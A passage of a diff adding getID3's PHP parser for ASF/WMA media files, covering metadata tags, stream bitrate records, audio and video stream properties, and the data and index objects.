+								$thisfile_asf_comments['genre'] = array($this->TrimTerm($thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['value']));
+								break;
+
+							case 'wm/partofset':
+								$thisfile_asf_comments['partofset'] = array($this->TrimTerm($thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['value']));
+								break;
+
+							case 'wm/tracknumber':
+							case 'tracknumber':
+								// be careful casting to int: casting unicode strings to int gives unexpected results (stops parsing at first non-numeric character)
+								$thisfile_asf_comments['track'] = array($this->TrimTerm($thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['value']));
+								foreach ($thisfile_asf_comments['track'] as $key => $value) {
+									if (preg_match('/^[0-9\x00]+$/', $value)) {
+										$thisfile_asf_comments['track'][$key] = intval(str_replace("\x00", '', $value));
+									}
+								}
+								break;
+
+							case 'wm/track':
+								if (empty($thisfile_asf_comments['track'])) {
+									$thisfile_asf_comments['track'] = array(1 + $this->TrimConvert($thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['value']));
+								}
+								break;
+
+							case 'wm/year':
+							case 'year':
+							case 'date':
+								$thisfile_asf_comments['year'] = array( $this->TrimTerm($thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['value']));
+								break;
+
+							case 'wm/lyrics':
+							case 'lyrics':
+								$thisfile_asf_comments['lyrics'] = array($this->TrimTerm($thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['value']));
+								break;
+
+							case 'isvbr':
+								if ($thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['value']) {
+									$thisfile_audio['bitrate_mode'] = 'vbr';
+									$thisfile_video['bitrate_mode'] = 'vbr';
+								}
+								break;
+
+							case 'id3':
+								$this->getid3->include_module('tag.id3v2');
+
+								$getid3_id3v2 = new getid3_id3v2($this->getid3);
+								$getid3_id3v2->AnalyzeString($thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['value']);
+								unset($getid3_id3v2);
+
+								if ($thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['value_length'] > 1024) {
+									$thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['value'] = '<value too large to display>';
+								}
+								break;
+
+							case 'wm/encodingtime':
+								$thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['encoding_time_unix'] = $this->FILETIMEtoUNIXtime($thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['value']);
+								$thisfile_asf_comments['encoding_time_unix'] = array($thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['encoding_time_unix']);
+								break;
+
+							case 'wm/picture':
+								$WMpicture = $this->ASF_WMpicture($thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['value']);
+								foreach ($WMpicture as $key => $value) {
+									$thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current[$key] = $value;
+								}
+								unset($WMpicture);
+/*
+								$wm_picture_offset = 0;
+								$thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['image_type_id'] = getid3_lib::LittleEndian2Int(substr($thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['value'], $wm_picture_offset, 1));
+								$wm_picture_offset += 1;
+								$thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['image_type']    = self::WMpictureTypeLookup($thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['image_type_id']);
+								$thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['image_size']    = getid3_lib::LittleEndian2Int(substr($thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['value'], $wm_picture_offset, 4));
+								$wm_picture_offset += 4;
+
+								$thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['image_mime'] = '';
+								do {
+									$next_byte_pair = substr($thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['value'], $wm_picture_offset, 2);
+									$wm_picture_offset += 2;
+									$thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['image_mime'] .= $next_byte_pair;
+								} while ($next_byte_pair !== "\x00\x00");
+
+								$thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['image_description'] = '';
+								do {
+									$next_byte_pair = substr($thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['value'], $wm_picture_offset, 2);
+									$wm_picture_offset += 2;
+									$thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['image_description'] .= $next_byte_pair;
+								} while ($next_byte_pair !== "\x00\x00");
+
+								$thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['dataoffset'] = $wm_picture_offset;
+								$thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['data'] = substr($thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['value'], $wm_picture_offset);
+								unset($thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['value']);
+
+								$imageinfo = array();
+								$thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['image_mime'] = '';
+								$imagechunkcheck = getid3_lib::GetDataImageSize($thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['data'], $imageinfo);
+								unset($imageinfo);
+								if (!empty($imagechunkcheck)) {
+									$thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['image_mime'] = image_type_to_mime_type($imagechunkcheck[2]);
+								}
+								if (!isset($thisfile_asf_comments['picture'])) {
+									$thisfile_asf_comments['picture'] = array();
+								}
+								$thisfile_asf_comments['picture'][] = array('data'=>$thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['data'], 'image_mime'=>$thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['image_mime']);
+*/
+								break;
+
+							default:
+								switch ($thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['value_type']) {
+									case 0: // Unicode string
+										if (substr($this->TrimConvert($thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['name']), 0, 3) == 'WM/') {
+											$thisfile_asf_comments[str_replace('wm/', '', strtolower($this->TrimConvert($thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['name'])))] = array($this->TrimTerm($thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['value']));
+										}
+										break;
+
+									case 1:
+										break;
+								}
+								break;
+						}
+
+					}
+					break;
+
+				case GETID3_ASF_Stream_Bitrate_Properties_Object:
+					// Stream Bitrate Properties Object: (optional, one only)
+					// Field Name                   Field Type   Size (bits)
+					// Object ID                    GUID         128             // GUID for Stream Bitrate Properties object - GETID3_ASF_Stream_Bitrate_Properties_Object
+					// Object Size                  QWORD        64              // size of Extended Content Description object, including 26 bytes of Stream Bitrate Properties Object header
+					// Bitrate Records Count        WORD         16              // number of records in Bitrate Records
+					// Bitrate Records              array of:    variable        //
+					// * Flags                      WORD         16              //
+					// * * Stream Number            bits         7  (0x007F)     // number of this stream
+					// * * Reserved                 bits         9  (0xFF80)     // hardcoded: 0
+					// * Average Bitrate            DWORD        32              // in bits per second
+
+					// shortcut
+					$thisfile_asf['stream_bitrate_properties_object'] = array();
+					$thisfile_asf_streambitratepropertiesobject       = &$thisfile_asf['stream_bitrate_properties_object'];
+
+					$thisfile_asf_streambitratepropertiesobject['offset']                    = $NextObjectOffset + $offset;
+					$thisfile_asf_streambitratepropertiesobject['objectid']                  = $NextObjectGUID;
+					$thisfile_asf_streambitratepropertiesobject['objectid_guid']             = $NextObjectGUIDtext;
+					$thisfile_asf_streambitratepropertiesobject['objectsize']                = $NextObjectSize;
+					$thisfile_asf_streambitratepropertiesobject['bitrate_records_count']     = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 2));
+					$offset += 2;
+					for ($BitrateRecordsCounter = 0; $BitrateRecordsCounter < $thisfile_asf_streambitratepropertiesobject['bitrate_records_count']; $BitrateRecordsCounter++) {
+						$thisfile_asf_streambitratepropertiesobject['bitrate_records'][$BitrateRecordsCounter]['flags_raw'] = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 2));
+						$offset += 2;
+						$thisfile_asf_streambitratepropertiesobject['bitrate_records'][$BitrateRecordsCounter]['flags']['stream_number'] = $thisfile_asf_streambitratepropertiesobject['bitrate_records'][$BitrateRecordsCounter]['flags_raw'] & 0x007F;
+						$thisfile_asf_streambitratepropertiesobject['bitrate_records'][$BitrateRecordsCounter]['bitrate'] = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 4));
+						$offset += 4;
+					}
+					break;
+
+				case GETID3_ASF_Padding_Object:
+					// Padding Object: (optional)
+					// Field Name                   Field Type   Size (bits)
+					// Object ID                    GUID         128             // GUID for Padding object - GETID3_ASF_Padding_Object
+					// Object Size                  QWORD        64              // size of Padding object, including 24 bytes of ASF Padding Object header
+					// Padding Data                 BYTESTREAM   variable        // ignore
+
+					// shortcut
+					$thisfile_asf['padding_object'] = array();
+					$thisfile_asf_paddingobject     = &$thisfile_asf['padding_object'];
+
+					$thisfile_asf_paddingobject['offset']                    = $NextObjectOffset + $offset;
+					$thisfile_asf_paddingobject['objectid']                  = $NextObjectGUID;
+					$thisfile_asf_paddingobject['objectid_guid']             = $NextObjectGUIDtext;
+					$thisfile_asf_paddingobject['objectsize']                = $NextObjectSize;
+					$thisfile_asf_paddingobject['padding_length']            = $thisfile_asf_paddingobject['objectsize'] - 16 - 8;
+					$thisfile_asf_paddingobject['padding']                   = substr($ASFHeaderData, $offset, $thisfile_asf_paddingobject['padding_length']);
+					$offset += ($NextObjectSize - 16 - 8);
+					break;
+
+				case GETID3_ASF_Extended_Content_Encryption_Object:
+				case GETID3_ASF_Content_Encryption_Object:
+					// WMA DRM - just ignore
+					$offset += ($NextObjectSize - 16 - 8);
+					break;
+
+				default:
+					// Implementations shall ignore any standard or non-standard object that they do not know how to handle.
+					if ($this->GUIDname($NextObjectGUIDtext)) {
+						$this->warning('unhandled GUID "'.$this->GUIDname($NextObjectGUIDtext).'" {'.$NextObjectGUIDtext.'} in ASF header at offset '.($offset - 16 - 8));
+					} else {
+						$this->warning('unknown GUID {'.$NextObjectGUIDtext.'} in ASF header at offset '.($offset - 16 - 8));
+					}
+					$offset += ($NextObjectSize - 16 - 8);
+					break;
+			}
+		}
+		if (isset($thisfile_asf_streambitrateproperties['bitrate_records_count'])) {
+			$ASFbitrateAudio = 0;
+			$ASFbitrateVideo = 0;
+			for ($BitrateRecordsCounter = 0; $BitrateRecordsCounter < $thisfile_asf_streambitrateproperties['bitrate_records_count']; $BitrateRecordsCounter++) {
+				if (isset($thisfile_asf_codeclistobject['codec_entries'][$BitrateRecordsCounter])) {
+					switch ($thisfile_asf_codeclistobject['codec_entries'][$BitrateRecordsCounter]['type_raw']) {
+						case 1:
+							$ASFbitrateVideo += $thisfile_asf_streambitrateproperties['bitrate_records'][$BitrateRecordsCounter]['bitrate'];
+							break;
+
+						case 2:
+							$ASFbitrateAudio += $thisfile_asf_streambitrateproperties['bitrate_records'][$BitrateRecordsCounter]['bitrate'];
+							break;
+
+						default:
+							// do nothing
+							break;
+					}
+				}
+			}
+			if ($ASFbitrateAudio > 0) {
+				$thisfile_audio['bitrate'] = $ASFbitrateAudio;
+			}
+			if ($ASFbitrateVideo > 0) {
+				$thisfile_video['bitrate'] = $ASFbitrateVideo;
+			}
+		}
+		if (isset($thisfile_asf['stream_properties_object']) && is_array($thisfile_asf['stream_properties_object'])) {
+
+			$thisfile_audio['bitrate'] = 0;
+			$thisfile_video['bitrate'] = 0;
+
+			foreach ($thisfile_asf['stream_properties_object'] as $streamnumber => $streamdata) {
+
+				switch ($streamdata['stream_type']) {
+					case GETID3_ASF_Audio_Media:
+						// Field Name                   Field Type   Size (bits)
+						// Codec ID / Format Tag        WORD         16              // unique ID of audio codec - defined as wFormatTag field of WAVEFORMATEX structure
+						// Number of Channels           WORD         16              // number of channels of audio - defined as nChannels field of WAVEFORMATEX structure
+						// Samples Per Second           DWORD        32              // in Hertz - defined as nSamplesPerSec field of WAVEFORMATEX structure
+						// Average number of Bytes/sec  DWORD        32              // bytes/sec of audio stream  - defined as nAvgBytesPerSec field of WAVEFORMATEX structure
+						// Block Alignment              WORD         16              // block size in bytes of audio codec - defined as nBlockAlign field of WAVEFORMATEX structure
+						// Bits per sample              WORD         16              // bits per sample of mono data. set to zero for variable bitrate codecs. defined as wBitsPerSample field of WAVEFORMATEX structure
+						// Codec Specific Data Size     WORD         16              // size in bytes of Codec Specific Data buffer - defined as cbSize field of WAVEFORMATEX structure
+						// Codec Specific Data          BYTESTREAM   variable        // array of codec-specific data bytes
+
+						// shortcut
+						$thisfile_asf['audio_media'][$streamnumber] = array();
+						$thisfile_asf_audiomedia_currentstream      = &$thisfile_asf['audio_media'][$streamnumber];
+
+						$audiomediaoffset = 0;
+
+						$thisfile_asf_audiomedia_currentstream = getid3_riff::parseWAVEFORMATex(substr($streamdata['type_specific_data'], $audiomediaoffset, 16));
+						$audiomediaoffset += 16;
+
+						$thisfile_audio['lossless'] = false;
+						switch ($thisfile_asf_audiomedia_currentstream['raw']['wFormatTag']) {
+							case 0x0001: // PCM
+							case 0x0163: // WMA9 Lossless
+								$thisfile_audio['lossless'] = true;
+								break;
+						}
+
+						if (!empty($thisfile_asf['stream_bitrate_properties_object']['bitrate_records'])) {
+							foreach ($thisfile_asf['stream_bitrate_properties_object']['bitrate_records'] as $dummy => $dataarray) {
+								if (isset($dataarray['flags']['stream_number']) && ($dataarray['flags']['stream_number'] == $streamnumber)) {
+									$thisfile_asf_audiomedia_currentstream['bitrate'] = $dataarray['bitrate'];
+									$thisfile_audio['bitrate'] += $dataarray['bitrate'];
+									break;
+								}
+							}
+						} else {
+							if (!empty($thisfile_asf_audiomedia_currentstream['bytes_sec'])) {
+								$thisfile_audio['bitrate'] += $thisfile_asf_audiomedia_currentstream['bytes_sec'] * 8;
+							} elseif (!empty($thisfile_asf_audiomedia_currentstream['bitrate'])) {
+								$thisfile_audio['bitrate'] += $thisfile_asf_audiomedia_currentstream['bitrate'];
+							}
+						}
+						$thisfile_audio['streams'][$streamnumber]                = $thisfile_asf_audiomedia_currentstream;
+						$thisfile_audio['streams'][$streamnumber]['wformattag']  = $thisfile_asf_audiomedia_currentstream['raw']['wFormatTag'];
+						$thisfile_audio['streams'][$streamnumber]['lossless']    = $thisfile_audio['lossless'];
+						$thisfile_audio['streams'][$streamnumber]['bitrate']     = $thisfile_audio['bitrate'];
+						$thisfile_audio['streams'][$streamnumber]['dataformat']  = 'wma';
+						unset($thisfile_audio['streams'][$streamnumber]['raw']);
+
+						$thisfile_asf_audiomedia_currentstream['codec_data_size'] = getid3_lib::LittleEndian2Int(substr($streamdata['type_specific_data'], $audiomediaoffset, 2));
+						$audiomediaoffset += 2;
+						$thisfile_asf_audiomedia_currentstream['codec_data']      = substr($streamdata['type_specific_data'], $audiomediaoffset, $thisfile_asf_audiomedia_currentstream['codec_data_size']);
+						$audiomediaoffset += $thisfile_asf_audiomedia_currentstream['codec_data_size'];
+
+						break;
+
+					case GETID3_ASF_Video_Media:
+						// Field Name                   Field Type   Size (bits)
+						// Encoded Image Width          DWORD        32              // width of image in pixels
+						// Encoded Image Height         DWORD        32              // height of image in pixels
+						// Reserved Flags               BYTE         8               // hardcoded: 0x02
+						// Format Data Size             WORD         16              // size of Format Data field in bytes
+						// Format Data                  array of:    variable        //
+						// * Format Data Size           DWORD        32              // number of bytes in Format Data field, in bytes - defined as biSize field of BITMAPINFOHEADER structure
+						// * Image Width                LONG         32              // width of encoded image in pixels - defined as biWidth field of BITMAPINFOHEADER structure
+						// * Image Height               LONG         32              // height of encoded image in pixels - defined as biHeight field of BITMAPINFOHEADER structure
+						// * Reserved                   WORD         16              // hardcoded: 0x0001 - defined as biPlanes field of BITMAPINFOHEADER structure
+						// * Bits Per Pixel Count       WORD         16              // bits per pixel - defined as biBitCount field of BITMAPINFOHEADER structure
+						// * Compression ID             FOURCC       32              // fourcc of video codec - defined as biCompression field of BITMAPINFOHEADER structure
+						// * Image Size                 DWORD        32              // image size in bytes - defined as biSizeImage field of BITMAPINFOHEADER structure
+						// * Horizontal Pixels / Meter  DWORD        32              // horizontal resolution of target device in pixels per meter - defined as biXPelsPerMeter field of BITMAPINFOHEADER structure
+						// * Vertical Pixels / Meter    DWORD        32              // vertical resolution of target device in pixels per meter - defined as biYPelsPerMeter field of BITMAPINFOHEADER structure
+						// * Colors Used Count          DWORD        32              // number of color indexes in the color table that are actually used - defined as biClrUsed field of BITMAPINFOHEADER structure
+						// * Important Colors Count     DWORD        32              // number of color index required for displaying bitmap. if zero, all colors are required. defined as biClrImportant field of BITMAPINFOHEADER structure
+						// * Codec Specific Data        BYTESTREAM   variable        // array of codec-specific data bytes
+
+						// shortcut
+						$thisfile_asf['video_media'][$streamnumber] = array();
+						$thisfile_asf_videomedia_currentstream      = &$thisfile_asf['video_media'][$streamnumber];
+
+						$videomediaoffset = 0;
+						$thisfile_asf_videomedia_currentstream['image_width']                     = getid3_lib::LittleEndian2Int(substr($streamdata['type_specific_data'], $videomediaoffset, 4));
+						$videomediaoffset += 4;
+						$thisfile_asf_videomedia_currentstream['image_height']                    = getid3_lib::LittleEndian2Int(substr($streamdata['type_specific_data'], $videomediaoffset, 4));
+						$videomediaoffset += 4;
+						$thisfile_asf_videomedia_currentstream['flags']                           = getid3_lib::LittleEndian2Int(substr($streamdata['type_specific_data'], $videomediaoffset, 1));
+						$videomediaoffset += 1;
+						$thisfile_asf_videomedia_currentstream['format_data_size']                = getid3_lib::LittleEndian2Int(substr($streamdata['type_specific_data'], $videomediaoffset, 2));
+						$videomediaoffset += 2;
+						$thisfile_asf_videomedia_currentstream['format_data']['format_data_size'] = getid3_lib::LittleEndian2Int(substr($streamdata['type_specific_data'], $videomediaoffset, 4));
+						$videomediaoffset += 4;
+						$thisfile_asf_videomedia_currentstream['format_data']['image_width']      = getid3_lib::LittleEndian2Int(substr($streamdata['type_specific_data'], $videomediaoffset, 4));
+						$videomediaoffset += 4;
+						$thisfile_asf_videomedia_currentstream['format_data']['image_height']     = getid3_lib::LittleEndian2Int(substr($streamdata['type_specific_data'], $videomediaoffset, 4));
+						$videomediaoffset += 4;
+						$thisfile_asf_videomedia_currentstream['format_data']['reserved']         = getid3_lib::LittleEndian2Int(substr($streamdata['type_specific_data'], $videomediaoffset, 2));
+						$videomediaoffset += 2;
+						$thisfile_asf_videomedia_currentstream['format_data']['bits_per_pixel']   = getid3_lib::LittleEndian2Int(substr($streamdata['type_specific_data'], $videomediaoffset, 2));
+						$videomediaoffset += 2;
+						$thisfile_asf_videomedia_currentstream['format_data']['codec_fourcc']     = substr($streamdata['type_specific_data'], $videomediaoffset, 4);
+						$videomediaoffset += 4;
+						$thisfile_asf_videomedia_currentstream['format_data']['image_size']       = getid3_lib::LittleEndian2Int(substr($streamdata['type_specific_data'], $videomediaoffset, 4));
+						$videomediaoffset += 4;
+						$thisfile_asf_videomedia_currentstream['format_data']['horizontal_pels']  = getid3_lib::LittleEndian2Int(substr($streamdata['type_specific_data'], $videomediaoffset, 4));
+						$videomediaoffset += 4;
+						$thisfile_asf_videomedia_currentstream['format_data']['vertical_pels']    = getid3_lib::LittleEndian2Int(substr($streamdata['type_specific_data'], $videomediaoffset, 4));
+						$videomediaoffset += 4;
+						$thisfile_asf_videomedia_currentstream['format_data']['colors_used']      = getid3_lib::LittleEndian2Int(substr($streamdata['type_specific_data'], $videomediaoffset, 4));
+						$videomediaoffset += 4;
+						$thisfile_asf_videomedia_currentstream['format_data']['colors_important'] = getid3_lib::LittleEndian2Int(substr($streamdata['type_specific_data'], $videomediaoffset, 4));
+						$videomediaoffset += 4;
+						$thisfile_asf_videomedia_currentstream['format_data']['codec_data']       = substr($streamdata['type_specific_data'], $videomediaoffset);
+
+						if (!empty($thisfile_asf['stream_bitrate_properties_object']['bitrate_records'])) {
+							foreach ($thisfile_asf['stream_bitrate_properties_object']['bitrate_records'] as $dummy => $dataarray) {
+								if (isset($dataarray['flags']['stream_number']) && ($dataarray['flags']['stream_number'] == $streamnumber)) {
+									$thisfile_asf_videomedia_currentstream['bitrate'] = $dataarray['bitrate'];
+									$thisfile_video['streams'][$streamnumber]['bitrate'] = $dataarray['bitrate'];
+									$thisfile_video['bitrate'] += $dataarray['bitrate'];
+									break;
+								}
+							}
+						}
+
+						$thisfile_asf_videomedia_currentstream['format_data']['codec'] = getid3_riff::fourccLookup($thisfile_asf_videomedia_currentstream['format_data']['codec_fourcc']);
+
+						$thisfile_video['streams'][$streamnumber]['fourcc']          = $thisfile_asf_videomedia_currentstream['format_data']['codec_fourcc'];
+						$thisfile_video['streams'][$streamnumber]['codec']           = $thisfile_asf_videomedia_currentstream['format_data']['codec'];
+						$thisfile_video['streams'][$streamnumber]['resolution_x']    = $thisfile_asf_videomedia_currentstream['image_width'];
+						$thisfile_video['streams'][$streamnumber]['resolution_y']    = $thisfile_asf_videomedia_currentstream['image_height'];
+						$thisfile_video['streams'][$streamnumber]['bits_per_sample'] = $thisfile_asf_videomedia_currentstream['format_data']['bits_per_pixel'];
+						break;
+
+					default:
+						break;
+				}
+			}
+		}
+
+		while ($this->ftell() < $info['avdataend']) {
+			$NextObjectDataHeader = $this->fread(24);
+			$offset = 0;
+			$NextObjectGUID = substr($NextObjectDataHeader, 0, 16);
+			$offset += 16;
+			$NextObjectGUIDtext = $this->BytestringToGUID($NextObjectGUID);
+			$NextObjectSize = getid3_lib::LittleEndian2Int(substr($NextObjectDataHeader, $offset, 8));
+			$offset += 8;
+
+			switch ($NextObjectGUID) {
+				case GETID3_ASF_Data_Object:
+					// Data Object: (mandatory, one only)
+					// Field Name                       Field Type   Size (bits)
+					// Object ID                        GUID         128             // GUID for Data object - GETID3_ASF_Data_Object
+					// Object Size                      QWORD        64              // size of Data object, including 50 bytes of Data Object header. may be 0 if FilePropertiesObject.BroadcastFlag == 1
+					// File ID                          GUID         128             // unique identifier. identical to File ID field in Header Object
+					// Total Data Packets               QWORD        64              // number of Data Packet entries in Data Object. invalid if FilePropertiesObject.BroadcastFlag == 1
+					// Reserved                         WORD         16              // hardcoded: 0x0101
+
+					// shortcut
+					$thisfile_asf['data_object'] = array();
+					$thisfile_asf_dataobject     = &$thisfile_asf['data_object'];
+
+					$DataObjectData = $NextObjectDataHeader.$this->fread(50 - 24);
+					$offset = 24;
+
+					$thisfile_asf_dataobject['objectid']           = $NextObjectGUID;
+					$thisfile_asf_dataobject['objectid_guid']      = $NextObjectGUIDtext;
+					$thisfile_asf_dataobject['objectsize']         = $NextObjectSize;
+
+					$thisfile_asf_dataobject['fileid']             = substr($DataObjectData, $offset, 16);
+					$offset += 16;
+					$thisfile_asf_dataobject['fileid_guid']        = $this->BytestringToGUID($thisfile_asf_dataobject['fileid']);
+					$thisfile_asf_dataobject['total_data_packets'] = getid3_lib::LittleEndian2Int(substr($DataObjectData, $offset, 8));
+					$offset += 8;
+					$thisfile_asf_dataobject['reserved']           = getid3_lib::LittleEndian2Int(substr($DataObjectData, $offset, 2));
+					$offset += 2;
+					if ($thisfile_asf_dataobject['reserved'] != 0x0101) {
+						$this->warning('data_object.reserved ('.getid3_lib::PrintHexBytes($thisfile_asf_dataobject['reserved']).') does not match expected value of "0x0101"');
+						//return false;
+						break;
+					}
+
+					// Data Packets                     array of:    variable        //
+					// * Error Correction Flags         BYTE         8               //
+					// * * Error Correction Data Length bits         4               // if Error Correction Length Type == 00, size of Error Correction Data in bytes, else hardcoded: 0000
+					// * * Opaque Data Present          bits         1               //
+					// * * Error Correction Length Type bits         2               // number of bits for size of the error correction data. hardcoded: 00
+					// * * Error Correction Present     bits         1               // If set, use Opaque Data Packet structure, else use Payload structure
+					// * Error Correction Data
+
+					$info['avdataoffset'] = $this->ftell();
+					$this->fseek(($thisfile_asf_dataobject['objectsize'] - 50), SEEK_CUR); // skip actual audio/video data
+					$info['avdataend'] = $this->ftell();
+					break;
+
+				case GETID3_ASF_Simple_Index_Object:
+					// Simple Index Object: (optional, recommended, one per video stream)
+					// Field Name                       Field Type   Size (bits)
+					// Object ID                        GUID         128             // GUID for Simple Index object - GETID3_ASF_Data_Object
+					// Object Size                      QWORD        64              // size of Simple Index object, including 56 bytes of Simple Index Object header
+					// File ID                          GUID         128             // unique identifier. may be zero or identical to File ID field in Data Object and Header Object
+					// Index Entry Time Interval        QWORD        64              // interval between index entries in 100-nanosecond units
+					// Maximum Packet Count             DWORD        32              // maximum packet count for all index entries
+					// Index Entries Count              DWORD        32              // number of Index Entries structures
+					// Index Entries                    array of:    variable        //
+					// * Packet Number                  DWORD        32              // number of the Data Packet associated with this index entry
+					// * Packet Count                   WORD         16              // number of Data Packets to sent at this index entry
+
+					// shortcut
+					$thisfile_asf['simple_index_object'] = array();
+					$thisfile_asf_simpleindexobject      = &$thisfile_asf['simple_index_object'];
+
+					$SimpleIndexObjectData = $NextObjectDataHeader.$this->fread(56 - 24);
+					$offset = 24;
+
+					$thisfile_asf_simpleindexobject['objectid']                  = $NextObjectGUID;
+					$thisfile_asf_simpleindexobject['objectid_guid']             = $NextObjectGUIDtext;
+					$thisfile_asf_simpleindexobject['objectsize']                = $NextObjectSize;
+
+					$thisfile_asf_simpleindexobject['fileid']                    =                  substr($SimpleIndexObjectData, $offset, 16);
+					$offset += 16;
+					$thisfile_asf_simpleindexobject['fileid_guid']               = $this->BytestringToGUID($thisfile_asf_simpleindexobject['fileid']);
+					$thisfile_asf_simpleindexobject['index_entry_time_interval'] = getid3_lib::LittleEndian2Int(substr($SimpleIndexObjectData, $offset, 8));
+					$offset += 8;
+					$thisfile_asf_simpleindexobject['maximum_packet_count']      = getid3_lib::LittleEndian2Int(substr($SimpleIndexObjectData, $offset, 4));
+					$offset += 4;
+					$thisfile_asf_simpleindexobject['index_entries_count']       = getid3_lib::LittleEndian2Int(substr($SimpleIndexObjectData, $offset, 4));
+					$offset += 4;
+
+					$IndexEntriesData = $SimpleIndexObjectData.$this->fread(6 * $thisfile_asf_simpleindexobject['index_entries_count']);
+					for ($IndexEntriesCounter = 0; $IndexEntriesCounter < $thisfile_asf_simpleindexobject['index_entries_count']; $IndexEntriesCounter++) {
+						$thisfile_asf_simpleindexobject['index_entries'][$IndexEntriesCounter]['packet_number'] = getid3_lib::LittleEndian2Int(substr($IndexEntriesData, $offset, 4));
+						$offset += 4;
+						$thisfile_asf_simpleindexobject['index_entries'][$IndexEntriesCounter]['packet_count']  = getid3_lib::LittleEndian2Int(substr($IndexEntriesData, $offset, 4));
+						$offset += 2;
+					}
+
+					break;
+
+				case GETID3_ASF_Index_Object:
+					// 6.2 ASF top-level Index Object (optional but recommended when appropriate, 0 or 1)
+					// Field Name                       Field Type   Size (bits)
+					// Object ID                        GUID         128             // GUID for the Index Object - GETID3_ASF_Index_Object
+					// Object Size                      QWORD        64              // Specifies the size, in bytes, of the Index Object, including at least 34 bytes of Index Object header
+					// Index Entry Time Interval        DWORD        32              // Specifies the time interval between each index entry in ms.
+					// Index Specifiers Count           WORD         16              // Specifies the number of Index Specifiers structures in this Index Object.
+					// Index Blocks Count               DWORD        32              // Specifies the number of Index Blocks structures in this Index Object.
+
+					// Index Entry Time Interval        DWORD        32              // Specifies the time interval between index entries in milliseconds.  This value cannot be 0.
+					// Index Specifiers Count           WORD         16              // Specifies the number of entries in the Index Specifiers list.  Valid values are 1 and greater.
+					// Index Specifiers                 array of:    varies          //
+					// * Stream Number                  WORD         16              // Specifies the stream number that the Index Specifiers refer to. Valid values are between 1 and 127.
+					// * Index Type                     WORD         16              // Specifies Index Type values as follows:
+																					//   1 = Nearest Past Data Packet - indexes point to the data packet whose presentation time is closest to the index entry time.
+																					//   2 = Nearest Past Media Object - indexes point to the closest data packet containing an entire object or first fragment of an object.
+																					//   3 = Nearest Past Cleanpoint. - indexes point to the closest data packet containing an entire object (or first fragment of an object) that has the Cleanpoint Flag set.
+																					//   Nearest Past Cleanpoint is the most common type of index.
+					// Index Entry Count                DWORD        32              // Specifies the number of Index Entries in the block.
+					// * Block Positions                QWORD        varies          // Specifies a list of byte offsets of the beginnings of the blocks relative to the beginning of the first Data Packet (i.e., the beginning of the Data Object + 50 bytes). The number of entries in this list is specified by the value of the Index Specifiers Count field. The order of those byte offsets is tied to the order in which Index Specifiers are listed.
+					// * Index Entries                  array of:    varies          //
+					// * * Offsets                      DWORD        varies          // An offset value of 0xffffffff indicates an invalid offset value
+
+					// shortcut
+					$thisfile_asf['asf_index_object'] = array();
+					$thisfile_asf_asfindexobject      = &$thisfile_asf['asf_index_object'];
+
+					$ASFIndexObjectData = $NextObjectDataHeader.$this->fread(34 - 24);
+					$offset = 24;
+
+					$thisfile_asf_asfindexobject['objectid']                  = $NextObjectGUID;
+					$thisfile_asf_asfindexobject['objectid_guid']             = $NextObjectGUIDtext;
+					$thisfile_asf_asfindexobject['objectsize']                = $NextObjectSize;
+
+					$thisfile_asf_asfindexobject['entry_time_interval']       = getid3_lib::LittleEndian2Int(substr($ASFIndexObjectData, $offset, 4));
+					$offset += 4;
+					$thisfile_asf_asfindexobject['index_specifiers_count']    = getid3_lib::LittleEndian2Int(substr($ASFIndexObjectData, $offset, 2));
+					$offset += 2;
+					$thisfile_asf_asfindexobject['index_blocks_count']        = getid3_lib::LittleEndian2Int(substr($ASFIndexObjectData, $offset, 4));
+					$offset += 4;
+
+					$ASFIndexObjectData .= $this->fread(4 * $thisfile_asf_asfindexobject['index_specifiers_count']);
+					for ($IndexSpecifiersCounter = 0; $IndexSpecifiersCounter < $thisfile_asf_asfindexobject['index_specifiers_count']; $IndexSpecifiersCounter++) {
+						$IndexSpecifierStreamNumber = getid3_lib::LittleEndian2Int(substr($ASFIndexObjectData, $offset, 2));
+						$offset += 2;
+						$thisfile_asf_asfindexobject['index_specifiers'][$IndexSpecifiersCounter]['stream_number']   = $IndexSpecifierStreamNumber;
